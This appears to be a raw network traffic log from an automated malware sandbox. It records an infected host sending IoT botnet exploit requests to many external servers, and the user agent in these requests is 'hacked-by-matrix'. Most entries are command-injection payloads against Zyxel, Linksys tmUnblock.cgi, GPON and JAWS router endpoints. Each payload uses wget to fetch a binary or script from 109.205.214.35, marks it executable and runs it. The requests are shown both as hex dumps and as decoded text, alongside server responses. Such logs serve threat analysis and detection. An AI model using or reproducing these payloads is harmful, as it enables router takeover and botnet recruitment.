32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')
Mar 21, 2024 05:18:36.829592943 CET	1286	IN	Data Raw: 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 Data Ascii: no-repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content
Mar 21, 2024 05:18:36.829722881 CET	1286	IN	Data Raw: 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 Data Ascii: sted URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="/shell?cd+/tmp;rm+-rf+*;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1211	192.168.2.13	33902	213.188.114.240	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.833409071 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:37.006252050 CET	551	IN	HTTP/1.0 404 Not Found Date: Thu, 21 Mar 2024 04:18:23 GMT Server: Check Point SVN foundation Content-Type: text/html X-UA-Compatible: IE=EmulateIE7 Connection: close X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains Last-Modified: Mon, 27 Apr 2020 15:08:47 GMT Content-Length: 204 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 20 34 30 34 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 20 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 0a 3c 42 4f 44 59 3e 0a 0a 54 68 65 20 55 52 4c 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD><TITLE> 404 File Not Found </TITLE></HEAD><BODY>The URL you requested could not be found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1212	192.168.2.13	33774	82.153.168.13	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.432843924 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:37.642662048 CET	701	IN	HTTP/1.0 404 Not Found !!! Pragma: no-cache Content-type: text/html WWW-Authenticate: /cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 21 21 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 63 65 6e 74 65 72 3e 0a 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 31 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 62 67 63 6f 6c 6f 72 3d 22 23 30 30 30 30 41 30 22 3e 0a 20 20 20 20 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 66 61 63 65 3d 22 41 72 69 61 6c 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 21 21 21 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 62 67 63 6f 6c 6f 72 3d 22 23 46 33 46 33 46 33 22 20 62 6f 72 64 65 72 63 6f 6c 6f 72 3d 22 23 30 30 30 30 38 30 22 20 62 6f 72 64 65 72 63 6f 6c 6f 72 64 61 72 6b 3d 22 23 30 30 30 30 38 30 22 3e 0a 20 20 20 20 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 54 69 6d 65 73 20 4e 65 77 20 52 6f 6d 61 69 6e 22 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1213	192.168.2.13	58072	172.66.199.34	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.545990944 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:37.873100042 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:38.197443962 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:38.837971926 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1214	192.168.2.13	54170	206.196.111.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.551217079 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:37.664230108 CET	834	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:18:37 GMT Server: Apache/2.4.6 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:37 GMTServer: Apache/2.4.6Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1215	192.168.2.13	42950	37.108.179.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.946942091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1216	192.168.2.13	56082	118.151.95.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.947017908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1217	192.168.2.13	43902	212.166.242.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.947052002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1218	192.168.2.13	38796	200.225.41.189	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:38.170739889 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:38.501480103 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:38.805027962 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1219	192.168.2.13	33868	213.188.114.240	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:38.247992992 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
